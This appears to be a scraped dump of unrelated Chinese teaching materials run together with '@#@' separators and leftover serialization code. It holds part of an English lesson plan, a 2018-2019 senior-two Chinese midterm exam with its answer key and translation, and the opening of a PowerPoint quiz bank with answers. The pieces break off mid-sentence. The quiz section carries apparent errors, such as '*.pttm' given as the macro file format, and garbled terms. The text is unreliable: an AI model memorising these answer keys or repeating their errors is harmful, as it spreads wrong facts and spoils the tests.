@#@来猜图片内容。
@#@猜错了,该同学要说:
@#@No,theyaren’t.猜对了,说:
@#@Yes,theyare.@#@ 2、学生两人一组做猜卡片的游戏。
@#@@#@四、布置作业@#@1、将Let’slearn部分的图讲给家长听。
@#@@#@五、板书设计@#@ @#@@#@六、教学反思@#@ @#@@#@第六课时Unit4AtthefarmReadandwrite@#@教学目标:
@#@@#@1、能让学生运用These/Thoseare...写句子。
@#@@#@2、能听懂录音。
@#@@#@3、会唱Let’ssing的歌曲。
@#@@#@4、能听懂Storytime的内容。
@#@@#@教具准备:
@#@教学光盘、单词卡片。
@#@@#@教学重点:
@#@掌握两个重点句子:
@#@“These/Thoseare...”的正确书写。
@#@@#@教学难点:
@#@在四线格中的正确书写These/Thoseare...@#@教学过程:
@#@@#@一、复习引题@#@1、日常口语交流。
@#@@#@A:
@#@Whatarethese/those?
@#@@#@ B:
@#@Theyare...@#@A:
@#@Arethese/those...?
@#@@#@B:
@#@Yes,theyare./No,theyaren'@#@t.@#@2、Review:
@#@A、B两部分的词语及对话。
@#@@#@二、教学新课@#@1、让学生练习运用These/Thoseare...练习说句子。
@#@@#@2、在学生能说的基础上在让学生书写这样的句子。
@#@@#@三、巩固练习@#@1、读短文并打勾。
@#@@#@2、听录音并打勾。
@#@@#@3、看一看并连线。
@#@@#@4、唱Let’ssing的歌曲。
@#@@#@5、听录音看动画理解Storytime的内容。
@#@@#@四、布置作业@#@1、唱第40页的歌曲给家长听;@#@@#@2、听录音并跟读Storytime。
@#@@#@五、板书设计@#@六、教学反思@#@";i:
6;s:
29500:
"江苏省泰州市姜堰区学年高二下学期期中考试语文试题含答案@#@2018-2019学年度第二学期期中试卷@#@高二语文@#@(考试时间:
@#@150分钟满分:
@#@160分)@#@请注意:
@#@所有试题的答案均填写在答题卡上,答案写在试卷上无效。
@#@@#@一、语言文字运用(12分)@#@1.在下列一段话空缺处依次填入词语,最恰当的一项是(▲)(3分)@#@语文,是天生浪漫的文化载体。
@#@睿智的思想,高尚的情感,灵动的才智,无不栖于@#@▲的语文之树,它▲地传承着人类文明;@#@它涤荡污浊,提精炼粹,陶冶身心,它▲了浪漫又传送着浪漫。
@#@@#@A.枝繁叶茂绵绵不断汇聚B.根深叶茂绵绵不断会聚@#@C.枝繁叶茂生生不息会聚D.根深叶茂生生不息汇聚@#@2.下列各句中,表达得体的一句是(▲)(3分)@#@A.外地游客在溱潼古镇品尝了正宗的溱湖八鲜,赞不绝口。
@#@店主说:
@#@“欢迎以后常来啊!
@#@”游客说:
@#@“一定一定,下次来溱潼,一定光临贵店”。
@#@@#@B.李老师的学生张里在高考中成绩特别优异。
@#@李老师经常向别人介绍:
@#@“这是我的高足,让我心里很是欣慰啊!
@#@”@#@C.王医生医术高明,治好了小飞多年的顽疾。
@#@小飞制作了一面锦旗表示感谢,上写:
@#@“杏坛高手,医者仁心@#@。
@#@”@#@D.文章不厌千回改,修改是写作的一个重要环节,我们可以在这个过程中发现并解决自己的问题,也可请老师斧正。
@#@@#@3.在下面一段文字横线处填入语句,衔接最恰当的一项是(▲)(3分)@#@古城是依着狮子山、象山、金虹山而建。
@#@▲。
@#@▲。
@#@▲。
@#@▲。
@#@▲。
@#@@#@▲。
@#@@#@①这些蕴含纳西传统母房文化的宅院,主要由平房、妹楼、明楼、骑厦楼、古宗楼等组成。
@#@@#@②她奇迹般地将东巴经书、东巴古典舞蹈、东巴音乐以及当今世界上唯一仍在使用的象形东巴文字等完整地保存下来。
@#@@#@③门洞内为“四合五天井”、“三房一照壁”的纳西宅院。
@#@@#@④望着这些房子,我感觉到纳西民族是一个具有创造力的民族。
@#@@#@⑤街道连接小巷,小巷衔着万户门洞。
@#@@#@⑥宅院既有北京四合院的韵味,又有江南水乡居民的情调。
@#@@#@A.⑤③⑥①④②B.②①④⑤③⑥C.⑤③④②①⑥D.②⑤③①⑥④@#@4.下列各项中,词意和所给画面最为接近的一项是(▲)(3分)@#@A.白日登山望烽火,黄昏饮马傍交河。
@#@@#@B.但使龙城飞将在,不教胡马度阴山。
@#@@#@C.马作的卢飞快,弓如霹雳弦惊。
@#@@#@D.金带连环束战袍,马头冲雪度临洮。
@#@@#@二、文言文阅读(20分)@#@阅读下面的文言文,完成5-8题。
@#@@#@吕元膺传@#@吕元膺,字景夫,郓州东平人。
@#@姿仪瑰秀,有器识。
@#@出为蕲州刺史,尝录囚,囚或白:
@#@“父母在,明日岁旦不得省,为恨。
@#@”因泣,元膺恻然,悉释械归之,而戒还期。
@#@吏白“不可”,答曰:
@#@“吾以信待人,人岂我违?
@#@”如期而至。
@#@自是群盗感愧,悉避境去。
@#@@#@元和中,累擢给事中。
@#@俄为同州刺史。
@#@既谢,帝逮问政事,所对详诣。
@#@明日,谓宰相曰:
@#@“元膺直气谠言,宜留左右,奈何出之?
@#@”李籓、裴垍谢,因言:
@#@“陛下及此,乃宗社无疆之休。
@#@臣等昧死请留元膺给事左右。
@#@”未几,兼皇太子侍读,进御史中丞。
@#@拜鄂岳观察使。
@#@尝夜登城,守者不许。
@#@左右曰:
@#@“中丞也。
@#@”对曰:
@#@“夜不可辨。
@#@”乃还。
@#@明日,擢守者为大将。
@#@入拜尚书左丞。
@#@度支使潘孟阳、太府卿王遂交相恶,乃除孟阳散骑常侍,遂邓州刺史,诏辞无所轻重。
@#@@#@元膺上其诏,请明枉直,以显褒惩。
@#@ @#@@#@江西裴堪按虔州刺史李将顺受赇,不覆讯而贬。
@#@元膺曰:
@#@“观察使奏部刺史,不加覆,虽当诛,犹不可为天下法。
@#@”请遣御史按问,宰相不能夺。
@#@@#@选拜东都留守。
@#@故事,留守赐旗甲,至元膺不给。
@#@或上言:
@#@“用兵讨淮西,东都近贼,损其仪,沮威望,请比华、汝、寿三州。
@#@”帝不听,并三州罢之。
@#@留守不赐旗甲,自此始。
@#@都有李师道留邸,邸兵与山棚谋窃发,事觉,元膺禽破之。
@#@始,盗发,都人震恐,守兵弱不足恃,元膺坐城门指纵部分,意气闲舒,人赖以安。
@#@东畿西南通邓、虢,川谷旷深,多麋鹿,人业射猎而不事农,迁徙无常,皆趫悍善斗,号曰“山棚”。
@#@权德舆居守,将羁縻之,未克。
@#@至是,元膺募为山河子弟,使卫宫城,诏可。
@#@@#@改河中节度使。
@#@时方镇多姑息,独元膺秉正自将,监军及中人往来者,无不严惮。
@#@入拜吏部侍郎。
@#@正色立朝,有台宰望,处事裁宜,人服其有礼。
@#@以疾改太子宾客。
@#@居官始终无訾缺。
@#@卒,年七十二,赠吏部尚书。
@#@@#@(节选自《新唐书》)@#@5.对下列句子中加点词的解释,不正确的一项是(▲)(3分)@#@A.明日岁旦不得省,为恨。
@#@恨:
@#@痛恨@#@B.既谢,帝逮问政事谢:
@#@辞别@#@C.江西裴堪按虔州刺史李将顺受赇按:
@#@审查@#@D.宰相不能夺夺:
@#@改变@#@6.下列对原文有关内容的概括和分析,不正确的一项是(▲)(3分)@#@A.吕元膺担任蕲州刺史,答应了囚徒的请求,不顾下属的劝阻,坚持让囚徒回家和父母一起过大年初一。
@#@@#@B.吕元膺担任鄂岳观察使,曾经在夜间登城巡视,守城人因无法辨认,不许他登城。
@#@第二天,提拔守城人做了大将。
@#@@#@C.吕元膺担任东都留守时,打破惯例,免除了旗甲仪仗。
@#@尽管有人反对,皇帝却没有听从,并且罢免了华、汝、寿三州的守将。
@#@@#@D.吕元膺担任吏部侍郎时,在朝廷上神态庄重,立身端正,名望很高,处理事务非常合宜,人们佩服他做事得体。
@#@@#@7.把下面的句子翻译成现代汉语。
@#@(10分)@#@
(1)元膺直气谠言,宜留左右,奈何出之?
@#@(5分)@#@▲@#@
(2)观察使奏部刺史,不加覆,虽当诛,犹不可为天下法。
@#@(5分)@#@▲@#@8.结合文章内容,概括吕元膺形象的主要特点。
@#@(4分)@#@三、古诗词鉴赏(11分)@#@阅读下面这首宋词,完成9~10题。
@#@@#@浣溪沙@#@(元丰七年与泗州刘倩叔同游南山)@#@宋·@#@苏轼@#@细雨斜风作晓寒,淡烟疏柳媚①晴滩。
@#@入淮清洛②渐漫漫。
@#@@#@雪沫乳花浮午盏③,蓼茸④蒿笋试春盘。
@#@人间有味是清欢。
@#@@#@注:
@#@①媚:
@#@美好,此处为使动用法。
@#@②清洛:
@#@洛涧,洛水。
@#@③午盏:
@#@午茶。
@#@④蓼茸:
@#@蓼菜的嫩芽。
@#@@#@9.请赏析上阕三句的写景艺术。
@#@(6分)@#@▲@#@10.有人说词的末句“人间有味是清欢”隐含人生哲理,请结合全词简要分析。
@#@(5分)@#@▲@#@四、名句名篇默写(8分)@#@11.补写出下列名句名篇中的空缺部分。
@#@@#@
(1)▲▲,无以至千里。
@#@(荀子《劝学》)@#@
(2)桂棹兮兰桨,▲▲。
@#@(苏轼《赤壁赋》)@#@(3)皇览揆余初度兮,▲▲。
@#@(屈原《离骚》)@#@(4)▲▲,众人匹之,不亦悲乎!
@#@(庄子《逍遥游》)@#@(5)黑云压城城欲摧,▲▲。
@#@(李贺《雁门太守行》)@#@(6)辘辘远听,▲▲。
@#@(杜牧《阿房宫赋》)@#@(7)刻鹄不成尚类鹜,▲▲。
@#@(范晔《后汉书》)@#@(8)▲▲,事定犹须待阖棺。
@#@(陆游《病起书怀》)@#@五、现代文阅读:
@#@文学类文本(15分)@#@阅读下面的作品,完成12~14题。
@#@@#@化妆@#@伍建强@#@上大学那会儿,女生都爱扎堆儿,你三个一群,我五个一伙,一块儿上食堂吃饭,一块儿到图书馆晚自习,甚至闹起别扭来,也是拉帮结派的。
@#@@#@315是新组合的宿舍,一共六位姐妹。
@#@新学期刚开始,就明显地分成了两派:
@#@一派五个人,吴莎莎、谭芳、曾丽、刘思琦,还有我;@#@另一派,就只有陆小璐一个人了。
@#@@#@其实陆小璐长得很漂亮,她站到人@#@堆里头,一眼看去,很容易就能找出来。
@#@用时兴的说法,陆小璐有着一张“明星脸”。
@#@这也就算了,偏偏她还特别臭美,每天都化妆,一大早就起来试穿衣服,弄得自己跟赶演出似的,衬得宿舍里其他姐妹都像“灰姑娘”一样。
@#@加上陆小璐很少主动与人说话,一到周末总有人开车来接,慢慢地,与大家便有了距离。
@#@@#@可是有一段,陆小璐突然变得无精打采起来,虽然天天还是一大早就起来化妆,试穿漂亮衣服,但她的精神明显没有过去好。
@#@睡在下铺的吴莎莎告诉我们,她经常半夜还听到陆小璐在上铺翻来覆去的。
@#@@#@我们都想,可能有什么事情要发生了吧。
@#@果然,从周一开始,陆小璐就没有回宿舍。
@#@刚开始几天,谭芳和曾丽还说些不着边际的风凉话,可时间一长,我们都开始担心起来。
@#@刘思琦是寝室长,想给陆小璐打电话机,一问,才发现我们五个人都没有记她号码。
@#@第二天,有人开车过来拿陆小璐的铺盖衣物,大家都担心地问怎么回事。
@#@来人说,小璐特意叮嘱我转告大家,她要请假半年。
@#@@#@请假半年?
@#@我们都挺疑惑的,但这种事也不好细问。
@#@还是曾丽机灵,周一的时候,她去问辅导员。
@#@辅导员说,你们不知道吗?
@#@陆小璐请假做手术啊。
@#@@#@知道这个消息后,我们都很难过。
@#@虽然大家都不喜欢陆小璐,可她也不是什么坏人啊。
@#@刘思琦几个便四处打探她的消息,原来事情比大家想象的还要糟糕:
@#@陆小璐有先天性的心脏病,一直不敢做手术,最近检查,发现不能再拖了。
@#@按照医生的建议,她将要接受四次手术治疗,手术成功就可以恢复正常生活,但每一次都有很大的风险。
@#@@#@知道事情的真相后,宿舍里顿时安静了下来,连续几个晚上,都没有一个人说话。
@#@最后,还是刘思琦拿的主意,大家一块儿去医院看望陆小璐。
@#@@#@不知道为什么,那天我们的心都慌慌的。
@#@在白色的病房里,我们见到了陆小璐,她正认真地对着一面镜子描眼线,打腮红,涂唇彩。
@#@从她的脸上,看不到一丝临危病人的迹象。
@#@忙完了,她转过头来,一眼就看到了我们几个,脸上闪过一丝惊喜。
@#@接着她连忙将头背过去,说,你们来了,怎么也不通知我一声。
@#@过了一会儿,又缓缓地回过头来,说,其实很久就知道是这样的结局了,没什么啦,瞒大家那么紧,是不想让更多的人为我担心。
@#@@#@姐妹几个都不知说什么好。
@#@陆小璐仿佛又恢复了往日的神采,有说有笑地告诉我们,下午是第一次手术,进去可能就出不来了,所以一上午都在给自己化妆,我参加过别人的追悼会,殡仪馆的人化妆很差劲的,我可不想死那么难看……@#@等了好几个小时,我们的脑袋里都是一片空白,甚至连互相对视的勇气都没有了。
@#@终于,陆小璐被人从手术室推了出来。
@#@手术很顺利,她安详地躺在病床上,仿佛睡熟了一般。
@#@一圈人将她送回病房,315的几位姐妹一块儿回家,一路上我们都沉默不语。
@#@@#@后来,我们陆陆续续地去过医院几回,也陆陆续续地听到她手术成功的好消息。
@#@大家都为她感到开心,这个陆小璐啊,真不是一般人,每次上手术台前,她都要给自己化妆,每次都是那么地一丝不苟,就好像她要去的地方不是手术室,而是准备去赴一场晚宴。
@#@@#@但最后还是没能如愿。
@#@第四次手术前几天,陆小璐突发高烧,接着昏迷了几天,就再没有醒来。
@#@事情来得太突然,当我们接到通知赶到殡仪馆时,一个肥胖的女人正在给陆小璐化妆。
@#@@#@我们看着安安静静地躺着的陆小璐,她瘦了,脸上的颧骨明显地突了出来。
@#@那个胖女人正在给陆小璐描眉毛,她看起来一点也不用心,将一条眉毛画得弯弯曲曲的。
@#@我们都无声地哭了,平时最讨厌看陆小璐化妆的吴莎莎,突然很激动地冲上去,一把就夺过了那个胖女人手中的眉笔。
@#@胖女人露出一脸的不解。
@#@吴莎莎大声叫道,你怎么可以把她的眉毛画得这么难看!
@#@@#@胖女人很诚恳地说,不要难过,人死不能复生。
@#@吴莎莎哭着将眉笔丢到地上,说,她很漂亮的,求求你,你不可以把她的妆化得这么难看的!
@#@……@#@第二天是追悼会。
@#@陆小璐的亲属怕我们再次“激动”,就没让我们参加。
@#@那天是星期六,天阴沉沉的,我们315的五个姐妹静静地守在宿舍里,不知是谁先开始的,我们都含着泪、对着镜子开始化妆。
@#@我们用这种独特的方式,为一个叫陆小璐的美丽女孩儿送行。
@#@@#@12.请简要概括陆小璐的人物形象。
@#@(3分)@#@▲@#@13.小说充分运用了悬念来构造情节,请简要列举3处悬念。
@#@(6分)@#@▲@#@14.小说讲述了一个“美的毁灭”的悲剧故事,请探究其丰富的意蕴。
@#@(6分)@#@▲@#@六、现代文阅读:
@#@论述类文本(12分)@#@阅读下面的作品,完成15~17题。
@#@@#@关于一个历史事件,我们不见得总能读到一种以上的书。
@#@当我们做不到的时候,我们必须承认,我们没有那么多机会提出问题,以学习到有关的事实——明白真正发生了什么。
@#@不过,这并不是阅读历史的惟一理由。
@#@可能会有人说,只有专业历史学家,那个写历史的人,才应该严格检验他的资料来源,与其他相反的论点作仔细的核对验证。
@#@如果他知道关于这个主题他该知道些什么,他就不会产生误解。
@#@我们,身为历史书的半吊子读者,介于专业历史学家与阅读历史纯粹只是好玩,不负任何责任的外行读者之间。
@#@@#@让我们用修昔底德(Thucydides)做例子。
@#@你可能知道他写过一本有关公元前五世纪末,伯罗奔尼撒战争的史实,这是当时惟一的一本主要的历史书。
@#@在这样的情况下,没有人能查证他作品的对错。
@#@那么,我们也能从这样的书中学到什么吗?
@#@@#@希腊现在只是个小小的国家。
@#@一场发生在25世纪以前的战争,对今天的我们真的起不了什么作用。
@#@每一个参与战事的人都早已长眠,而引发战争的特殊事件也早已不再存在。
@#@胜利者到了现在也毫无意义了,失败者也不再有伤痛。
@#@那些被征服又失落的城市已化作烟尘。
@#@事实上,如果我们停下来想一想,伯罗奔尼撒战争所遗留下来的似乎也就只有修昔底德这本书了。
@#@@#@但是这样的记录还是很重要的。
@#@因为修昔底德的故事——我们还是觉得用这两个字很好——影响到后来人类的历史。
@#@后代的领导者会读修昔底德的书。
@#@他们会发现自己的处境仿佛与惨遭分割的希腊城邦的命运一样,他们把自己比作雅典或斯巴达。
@#@他们把修昔底德当作借口或辩解的理由,甚至行为模式的指引。
@#@结果,就因为修昔底德在公元前5世纪的一些观点,整个世界的历史都逐渐被一点点虽然极为微小,却仍然可以察觉的改变所影响。
@#@因此我们阅读修昔底德的历史,不是因为他多么精准地一目十行描述出在他写书之前的那个世界,而是因为他对后代发生的事有一定的影响力。
@#@虽然说起来很奇怪,但是我们阅读他的书是为了想要了解目前发生的事。
@#@@#@亚里士多德说:
@#@“诗比历史更有哲学性。
@#@”他的意思是诗更具一般性,更有普遍影响力。
@#@一首好诗不只在当时当地是一首好诗,也在任何时间任何地点都是好诗。
@#@这样的诗对所有人类来说都有意义与力量。
@#@历史不像诗那样有普遍性。
@#@历史与事件有关,诗却不必如此。
@#@但是一本好的历史书仍然是有普遍性的。
@#@@#@修昔底德说过,他写历史的原@#@因是:
@#@希望经由他所观察到的错误,以及他个人受到的灾难与国家所受到的苦楚,将来的人们不会重蹈覆辙。
@#@他所描述的人们犯下的错误,不只对他个人或希腊有意义,对整个人类来说更有意义。
@#@在二千五百年以前,雅典人与斯巴达人所犯的错误,今天人们仍然同样在犯——或至少是非常接近的错误—修昔底德以降,这样的戏码一再上演。
@#@@#@如果你阅读历史的观点是设限的,如果你只想知道真正发生了什么事,那你就不会从修昔底德,或任何一位好的历史学家手中学到东西。
@#@如果你真把修昔底德读通了,你甚至会扔开想要深究当时到底发生了什么事的念头。
@#@@#@历史是由古到今的故事。
@#@我们感兴趣的是现在——以及未来。
@#@有一部分的未来是由现在来决定的。
@#@因此,你可以由历史中学习到未来的事物,甚至由修昔底德这@#@样活在二千年前的人身上学到东西。
@#@@#@(节选自艾德勒、范多伦《如何阅读一本书》)@#@15.下列关于原文内容的理解和分析,不正确的一项是(▲)(3分)@#@A.一般读者,既不会像专业历史学家那样严格检验历史资料的来源,也不会只把阅读历史当做是好玩的事情。
@#@@#@B.尽管有关公元前五世纪末,伯罗奔尼撒战争的史实,修昔底德的书是当时惟一的一本主要的历史书。
@#@但我们也能从这样的书中学到什么。
@#@@#@C.修昔底德的故事不光是因为他多么精准地一目十行描述出在他写书之前的那个世界,而且是因为他对后代发生的事有一定的影响力。
@#@@#@D.如果读者真把修昔底德读通了,就不@#@一定要深究当时到底发生了什么事。
@#@@#@16.根据原文内容,下列说法不正确的一项是(▲)(3分)@#@A.后代的领导者从修昔底德的书中读到关于雅典和斯巴达的史实,以史为鉴,从而指导自己的工作。
@#@@#@B.亚里士多德认为诗比历史更具一般性,更有普遍影响力。
@#@@#@C.修昔底德写历史的原因是希望后人从他记载的雅典和斯巴达的错误里以及他个人受到的灾难中吸取教训。
@#@@#@D.历史不仅记录过去,而且对未来有影响。
@#@因此人们读历史可以学习到未来的事物。
@#@@#@17.依据文意,读者应该如何阅读历史书?
@#@请概括回答。
@#@(6分)@#@▲@#@七、现代文阅读:
@#@实用类文本(12分)@#@阅读下面的材料,完成18~20题。
@#@@#@材料一@#@ 今年的“3·@#@15”晚会曝光了河南、湖南两地辣条生产厂家卫生乱象。
@#@随后,记者和河南省开封市尉氏县市场监督局、公安局一行多人的联合执法队伍来到了生产辣条的尉氏县食品厂。
@#@针对3·@#@15晚会上被曝光的生产车间“辣眼睛”的情况,尉氏县市场监督局副局长表示会要求对生产不卫生辣条的食品厂进行停业整顿。
@#@随后,记者跟随着湖南省平江县市场监督管理局的执法人员,赶往平江县钧力食品有限公司。
@#@平江县工商管理局局长表示,消费者可以向行政机关投诉,要求行政机关立案调查,追究相关生产不符合安全标准的、或不合格产品的这种作坊、工厂,承担这个相应的行政责任,可以给予警告,责令停业整顿,甚至直至吊销生产许可证或者经营营业执照。
@#@@#@材料二@#@在央视曝光的画面中,生产辣条的企业大多地处偏僻,不经任何消毒措施就可随意出入,原料和抹布一起放在满是油污的地上,到处都是黑色污点,生产容器上覆盖了厚厚的一层污垢,工作人员不戴手套直接接触食物。
@#@一款名为“虾扯蛋”的辣条中既没有虾也没有蛋,@#@只有面粉和谷氨酸钠、三氯蔗糖、单双甘油脂肪酸酯、着色剂、防腐剂等十几种添加剂和调味剂。
@#@@#@当天晚上9点多,当地食品药品监管局工作人员迅速来到@#@被曝光的湖南省平江县某食品有限公司工厂进行卫生检查。
@#@老板有点懵,他认为自己的工厂证件手续齐全,操作流程合乎规定,且卫生状况在同行中已属“很不错”,“比我们脏的有好多”。
@#@但调查发现,这家成立于2012年3月15日的公司,在2018年2月曾因违规生产销售不符合食品安全标准的食品而受到行政处罚。
@#@@#@材料三@#@自315曝光辣条行业以来,各地都查封了一批又一批的辣条,一些地区甚至发布了“禁售辣条”的规定,对辣条行业造成了极大影响。
@#@目前,京东已下架所有品牌辣条,被315晚会曝光的“虾扯蛋”、“亲嘴牛”、“爱情王子”和“黄金味道棒”等品牌辣条在淘宝上也已难觅踪迹,天猫超市仅剩卫龙、良品铺子、三只松鼠、百草味等品牌辣条。
@#@@#@辣条市场也面临着洗牌,市场上‘五毛’包装的调味面制品由2010年的81%锐减到2016年的8%,而2—5元产品的市场份额占到了总量的55%,预计未来调味面制品市场销售规模将进一步扩大。
@#@数据显示,调味面制品行业的市场销售额从2009年的170亿元增至2016年的510亿元,2018年销售额将逼近600亿元。
@#@一方面一些小作坊式的辣条企业被剔除出局,另一方面这样大的蛋糕,引得休闲食品行业大佬纷纷加入。
@#@金丝猴大开发布会推出“辣辣怪时空”辣条,盐津铺子也推出了“小新王子”辣条,并邀请了当红明星林更新代言等等。
@#@@#@材料四@#@央视的曝光,对于不少辣条企业来说是一记重击,无奈之下,不少企业之后通过各种方式压缩成本。
@#@但成本压缩带来的是产品质量监控投入更加不足,无疑也更加不利于企业生存。
@#@@#@当然,也有一些大型企业反其道而行之,投入大量资金,打造干净卫生的生产环境,提高辣条的质量。
@#@毕竟产品是企业的根本,有好产品的企业才能在激烈的竞争中存活下来。
@#@通过巨额投入,从生产环境到产品外包装都重新设计打造,以优质的产品赢得了消费者的信赖。
@#@@#@好的产品,需@#@要好的营销,好的营销,就必须贴近自己的消费者,并且善用互联网,从消费者的喜好入手,根据热点话题,针对性地进行造势。
@#@@#@18.下列对材料的相关内容的理解和分析,正确的一项是(▲)(3分)@#@A.地处偏僻的企业生产出来的辣条的往往是质量不合格的。
@#@@#@B.证件手续齐全,操作流程合乎规定的企业生产出来的产品应该没有问题。
@#@@#@C.央视的曝光让市场上的五毛辣条数量锐减,导致辣条价格上涨,增加了消费者的负担。
@#@@#@D.如果企业只关注营销,从消费者的喜好入手,根据热点话题,针对性地进行造势,最终也不一定能在激烈的竞争中立稳脚跟。
@#@@#@19.下列对材料相关内容的概括和分析,不正确的一项是(▲)(3分)@#@A.市场监督局、工商管理局等都有权对企业产品质量予以检查,要求企业停业整顿。
@#@@#@B.有时候行政处罚并不能彻底杜绝企业违规生产的不法行为。
@#@@#@C.随着辣条市场的洗牌加快,小作坊式的辣条企业将彻底绝迹于辣条行业。
@#@@#@D.激烈竞争下,企业不应该只图降低成本自保,要内外兼修,提升质量的同时还要宣传自己。
@#@@#@20.综合上述材料,如何确保消费者能吃上放心的休闲食品?
@#@请概括回答。
@#@(6分)@#@▲@#@八、作文(70分)@#@21.根据以下材料,选取角度,从“人与自然”的关系角@#@度确定立意,自拟题目,写一篇不少于800字的文章;@#@文体不限,诗歌除外。
@#@@#@人,诗意地栖居在大地上。
@#@@#@一花一世界,一叶一菩提。
@#@@#@啃得菜根,百事可做。
@#@@#@2018—2019学年度第二学期高二年级期中考试@#@语文试题参考答案@#@1.D@#@2.D(斧正,敬辞,请人修改文章,也作斧政;@#@光临,敬称他人的来访;@#@高足,称别人的学生;@#@杏坛,相传为孔子聚徒授业讲学之处。
@#@泛指授徒讲学之处。
@#@今喻教育界。
@#@)@#@3.C@#@4.B@#@5.A遗憾@#@6.C原文“帝不听,并三州罢之。
@#@”应是连同三州的仪仗也一同免除了。
@#@@#@7.
(1)元膺一身正气,敢说真话,应该留在我身边,为什么外放他呢?
@#@”@#@(得分点:
@#@“直气”、“谠言”、“左右”“奈何出之”各1分,语句通顺1分)@#@
(2)观察使弹劾部刺史,不加审讯,即使他应当被诛杀,也不能成为天下执法的典范。
@#@@#@(得分点:
@#@“奏”“覆”“虽当诛”“法”各1分,语句通顺1分)@#@8.为他人着想、正直无私、敢于打破常规、军事才能卓越、做事得体@#@(1点1分,答对四点得4分)@#@【@#@参考译文】@#@ 吕元膺,字景夫,郓州东平县人。
@#@形貌瑰伟,姿容秀丽,有才能有见识。
@#@外调为蕲州刺史,曾审问囚犯,囚犯中有人告诉他说:
@#@“父母在堂,明天是大年初一却不能探望,以此为遗憾。
@#@”说完伤心落泪,元膺也很伤心,全部打开了刑具放他们回家,并且告诉了他们归还的日期。
@#@下属陈述说“不行”,元膺回答说:
@#@“我用诚信待人,他们怎么会欺骗我呢?
@#@”囚犯们果然如期返回。
@#@从此强盗们受到感动,深感愧疚,都离开了蕲州。
@#@@#@元和年间,经多次升迁做了给事中。
@#@不久又外放为同州刺史。
@#@辞行的时候,皇帝趁机询问政事,他的回答详细明畅。
@#@第二天,皇帝对宰相说:
@#@“元膺一身正气,敢说真话,应该留在我身边,为什么外放他呢?
@#@”李藩、裴珀谢罪说:
@#@“陛下过问(问及)此事,这是宗庙社稷万世流传的喜庆征兆。
@#@臣等冒死请求留下元膺在身边侍奉皇帝。
@#@”不久,兼任皇太子侍读,进封御史中丞。
@#@被授予鄂岳观察使。
@#@曾经夜间登城巡视,守城人不许他登城。
@#@他身边的人说:
@#@“这是中丞大人。
@#@”守城人答道:
@#@“夜间辩认不清。
@#@”元膺就回去了。
@#@第二天,提拔守城人做了大将。
@#@调到京城做尚书左丞。
@#@度支使潘孟阳、太府卿王遂关系不和,朝廷就调孟阳任散骑常侍,王遂任邓州刺史,诏书中并没有指出谁是谁非。
@#@元膺呈上那道诏书,请求指明是非曲直,来显示朝廷惩恶扬善。
@#@@#@江西观察使裴堪审查虔州刺史李将顺受贿一案,没经审讯就将李将顺降职。
@#@元膺说:
@#@“观察使弹劾部刺史,不加审讯,即使他应当被诛杀,也不能成为天下执法的典范。
@#@”请求朝廷派御史审查,宰相也不能强行改变他的意见。
@#@@#@吕元膺被选拜东都留守。
@#@按照惯例,留守将被赐给旗甲仪仗,轮到元膺做了东都留守,却免了这一规矩。
@#@有人上书说:
@#@“朝廷正用兵讨伐淮西,东都邻近惟西,减少他的仪仗就会有损他的威望,请求和华州、汝州、寿州的仪仗一样。
@#@”皇帝不许,连同三州的仪仗也一同免除了。
@#@留守不赐给旗甲仪仗,从这时开始。
@#@东都有李师道留下的官邸,邸兵和山棚人密谋叛乱,事情败露,元膺擒获了他们。
@#@当初,叛乱发生时,东都人人恐慌,守兵势弱不足仰仗,元膺坐在城门指挥分派,神态安闲自若,人们赖以安定下来。
@#@东畿西南通邓州、虢州,川深谷旷,多麋鹿,人们以射猎为业却不从事生产,迁徙不定,都矫健勇悍善于格斗,号称“山棚”。
@#@权德舆任东都留守时,想笼@#@络他们,没能实现,至此元膺招募他们为山河子弟,让他们保卫宫城,皇上下诏许可。
@#@@#@改任河中节度使。
@#@当时方镇多无原则地纵容,只有元膺坚持正道严格自律,监军和来往办事的宦官,无不敬畏。
@#@进京做吏部侍郎。
@#@(他)在朝廷上神态庄重,立身端正,有宰相的声望,处理事务非常合宜,人们佩服他做事得体。
@#@因病改任太子宾客。
@#@为官始终没有过失。
@#@死时";i:
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24367:
"PowertPoint题库答案@#@⏹选择题之宇文皓月创作@#@1.PowerPoint的默认文件扩展名为( @#@ @#@B @#@ @#@)@#@A.ppta @#@ @#@ @#@ @#@ @#@ @#@@#@B.pptx @#@ @#@ @#@ @#@ @#@@#@C.ppsx @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@D.potx @#@@#@2.PowerPoint模版文件格式是( @#@C @#@)。
@#@ @#@@#@A. @#@*.pptx @#@@#@B @#@.*.pps @#@@#@C @#@.*.potx @#@@#@D.*.ptt @#@@#@3.PowerPoint文件格式中暗示有宏的文件格式是( @#@D @#@)。
@#@@#@A. @#@*.pptx @#@@#@B @#@.*.pps @#@@#@C @#@.*.potx @#@@#@D.*.pttm @#@@#@4.PowerPoint的各种视图中,显示单个幻灯片以进行文本编辑的 @#@视图是( @#@ @#@D @#@ @#@) @#@@#@A. @#@普通视图 @#@ @#@ @#@ @#@ @#@ @#@@#@B. @#@浏览视图 @#@ @#@ @#@ @#@@#@C. @#@放映视图 @#@ @#@ @#@ @#@ @#@@#@D. @#@大纲视图 @#@@#@5.PowerPoint提供了多种新建演示文稿的方法,只有下面不是(D)的。
@#@@#@A. @#@根据现有演示文稿创建 @#@ @#@ @#@ @#@ @#@ @#@@#@B.根据模板创建 @#@ @#@ @#@ @#@@#@C. @#@根据主题创建 @#@ @#@ @#@ @#@ @#@@#@D. @#@根据母板创建 @#@@#@6.PowerPoint中,拔出幻灯片的操纵可以在(B)下进行。
@#@@#@A.列举的三种视图方式 @#@ @#@ @#@@#@B.普通视图 @#@ @#@ @#@ @#@@#@C.幻灯片浏览视图 @#@ @#@ @#@ @#@@#@D.大纲视图@#@7.在PowerPoint(C)下,可以用鼠标拖动方法改幻化灯片的顺序。
@#@@#@A.阅读视图 @#@ @#@ @#@@#@B.普通视图 @#@ @#@ @#@ @#@@#@C.幻灯片浏览视图 @#@ @#@ @#@ @#@@#@D.备注视图@#@8.幻灯片放映过程中,擦除屏幕上的注释的快捷键是(A)。
@#@@#@A.E键@#@B.S键@#@C.B键@#@D.W键@#@9.PowerPoint中,创建一套新的演示文稿快捷方式是(D)。
@#@@#@A.Ctrl+A@#@B.Shift+N@#@C.Ctrl+M@#@D.Ctrl+N@#@10.PowerPoint @#@提供了多种( @#@ @#@B @#@ @#@),它包含了相应的配色方案、母版和字体样式等,可供用户快速生成风格统一的演示文稿。
